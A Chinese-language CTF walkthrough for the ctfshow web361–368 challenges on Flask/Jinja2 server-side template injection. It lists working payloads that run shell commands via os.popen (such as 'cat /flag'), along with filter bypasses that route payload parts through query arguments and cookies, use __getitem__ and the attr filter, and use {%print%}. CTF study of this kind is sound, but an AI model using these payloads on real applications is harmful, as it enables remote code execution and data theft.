web361
这里转载一篇教绕过方法的文章
hint:考点就是题目
传参?name={{2*2}}
回显是4,找到漏洞
说实话这里对py不太好的朋友有点不友好,因为payload都是py的
这里用popen方法来执行命令
?name={{config.__class__.__init__.__globals__['os'].popen('more /flag').read()}}
还有其他的写法但是都是利用的popen{{().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}
web362
上题一样的payload可以用
{{().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}
web363
这里是把引号过滤了我们可以用
request.args.x
达到目的
?name={{x.__init__.__globals__[request.args.x1].eval(request.args.x2)}}&x1=__builtins__&x2=__import__('os').popen('cat /flag').read()&x=().__class__.__bases__[0].__subclasses__()[80]
web364
禁用了args
我们使用cookie
?name={{x.__init__.__globals__.__builtins__[request.cookies.x1](request.cookies.x2).read()}}
cookies:
x1=open;x2=/flag
这是原句子但是不能执行命令只能看文件内容
?name={{x.__init__.__globals__.__builtins__[open]('/flag').read()}}
这是另外一种写法
?name={{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
cookie:
x1=__builtins__;x2=__import__('os').popen('cat /flag').read()
web365
用魔术方法__getitem__来代替方括号
?name={{x.__init__.__globals__.__getitem__(request.cookies.x1).eval(request.cookies.x2)}}cookie:
x1=__builtins__;x2=__import__('os').popen('cat /flag').read()
web366
过滤了中括号 下划线 单引号 双引号 globals、getitem args
然后使用flask过滤器
?name={{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}}
cookie:
x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /flag').read()
""|attr("__class__")
相当于
"".__class__
然后为什么要使用管道符 | 呢,主要就是用来拼接多个命令,然后执行
至于为什么要加给x这一块加括号呢,我觉得其实之前的那些命令都可以加上就能理解了,方便看
web367
上题一样的payload
web368
把双花括号过滤
使用{%print()%}绕过
?name={%print((x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5))%}
cookie:
x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /flag').read()